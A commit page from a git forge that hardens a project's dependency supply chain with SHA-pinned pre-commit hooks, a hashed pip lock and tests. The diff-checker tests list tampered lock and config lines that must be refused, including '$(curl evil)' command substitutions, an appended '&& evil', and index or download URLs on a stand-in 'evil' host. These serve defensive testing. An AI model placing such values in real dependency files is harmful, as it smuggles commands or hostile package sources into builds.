ci(deps): pin hook revisions by SHA and install dev tools from a hashed lock
Build / build (pull_request) Successful in 10s
Lint / lint (pull_request) Successful in 1m42s
Molecule / molecule (pull_request) Successful in 5m23s

Refs #113.

- .pre-commit-config.yaml: every hook repo is pinned by commit SHA with the release in a
  `# frozen:` comment, so a moved tag cannot change the code a hook environment is built from.
- requirements-dev.lock: hashed lock of requirements-dev.txt. Installs use
  `pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt` (dev-setup.sh,
  the ci image, the fallback install of Lint and Build): pip refuses an unhashed package and any
  disagreement between the two files.
- scripts/lock-requirements.sh regenerates the lock (pinned pip and pip-tools, --upgrade mode).
- renovate.json: the pip-compile manager replaces pip_requirements for the lock, plus a weekly,
  never automerged lock-file maintenance PR for transitive packages. Not yet dry-run on Renovate.
- check_bot_pr_diff.py accepts `rev: <sha>  # frozen: <tag>` and lock entries, hashes and plain
  comments, but not a changed pip-compile header command.
- ci image 0.2.18 -> 0.2.19 (image inputs changed).
This commit is contained in:
Dragonish committed 2026-11-14 16:52:38 +00:00
1 parent 7fa6c6754d
commit 4058978353
20 files changed
+1546 -46

No files matched your search

+59
View File
@@ -48,6 +48,50 @@ def run(cwd, *cmd):
)
H1, H2 = "a" * 64, "b" * 64
class LockRuleTest(unittest.TestCase):
def test_a_regenerated_lock_is_allowed(self):
removed = [
"reuse==6.2.0 \\",
f" --hash=sha256:{H1} \\",
" # via -r requirements-dev.txt",
]
added = [
"reuse==6.3.0 \\",
f" --hash=sha256:{H2}",
" # via -r requirements-dev.txt",
"newdep==1.0 ; python_version >= '3.13' \\",
" # via reuse",
"# This file is autogenerated by pip-compile with Python 3.14",
]
self.assertIsNone(cbd.file_problem("requirements-dev.lock", removed, added))
def test_the_header_command_may_not_change(self):
old = "# pip-compile --generate-hashes --output-file=requirements-dev.lock requirements-dev.txt"
new = old.replace("--generate-hashes", "--index-url=https://evil/simple")
self.assertIsNotNone(cbd.file_problem("requirements-dev.lock", [old], [new]))
self.assertIsNone(cbd.file_problem("requirements-dev.lock", [old], [old]))
def test_refused_lock_lines(self):
for line in (
"evil @ https://evil.example/x.tgz",
"--index-url https://evil/simple",
"-e .",
"evil>=1.0",
"evil==1.0 ; $(curl evil)",
" --hash=md5:" + "a" * 32,
" --hash=sha256:" + "a" * 63,
"# via $(curl evil)",
"# see `evil`",
):
with self.subTest(line=line):
self.assertIsNotNone(
cbd.file_problem("requirements-dev.lock", [], [line])
)
class RuleTest(unittest.TestCase):
def problem(self, path, old, new):
return cbd.file_problem(path, [old], [new])
@@ -62,6 +106,11 @@ class RuleTest(unittest.TestCase):
" version: 14.1.0",
),
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
@@ -117,6 +166,16 @@ class RuleTest(unittest.TestCase):
),
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0 && evil",
),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # note",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
+18 -1
View File
@@ -35,7 +35,11 @@ fi
exit 2
"""
PIP_STUB = "#!/bin/sh\nexit 0\n"
# Records the arguments of each call, one line per call.
PIP_STUB = """#!/bin/sh
printf '%s\\n' "$*" >> "$STUB_DIR/pip.log"
exit 0
"""
# Records the collections path and the arguments of each call, one line per call.
GALAXY_STUB = """#!/bin/sh
@@ -110,6 +114,7 @@ class DevSetupTest(unittest.TestCase):
(repo / "scripts").mkdir(parents=True)
shutil.copy(SCRIPT, repo / "scripts" / "dev-setup.sh")
(repo / "requirements-dev.txt").write_text("")
(repo / "requirements-dev.lock").write_text("")
(repo / "requirements.yml").write_text("---\ncollections: []\n")
self.git(repo, "init", "--quiet")
return repo
@@ -148,6 +153,18 @@ class DevSetupTest(unittest.TestCase):
self.assertIn("# kamino-dev-setup: virtualenv first on PATH", text)
self.assertEqual(self.hooks_z(repo), b"")
def test_tools_are_installed_from_the_hashed_lock_with_its_pins(self) -> None:
repo = self.make_repo()
self.assertEqual(self.run_setup(repo).returncode, 0)
calls = (self.stubs / "pip.log").read_text().splitlines()
self.assertEqual(len(calls), 1, calls)
# --require-hashes, the lock, and the direct pins next to it (pip refuses a disagreement).
self.assertIn("--require-hashes", calls[0].split())
self.assertTrue(
calls[0].endswith("-r requirements-dev.lock -r requirements-dev.txt"),
calls[0],
)
def galaxy_calls(self) -> list[str]:
return (self.stubs / "galaxy.log").read_text().splitlines()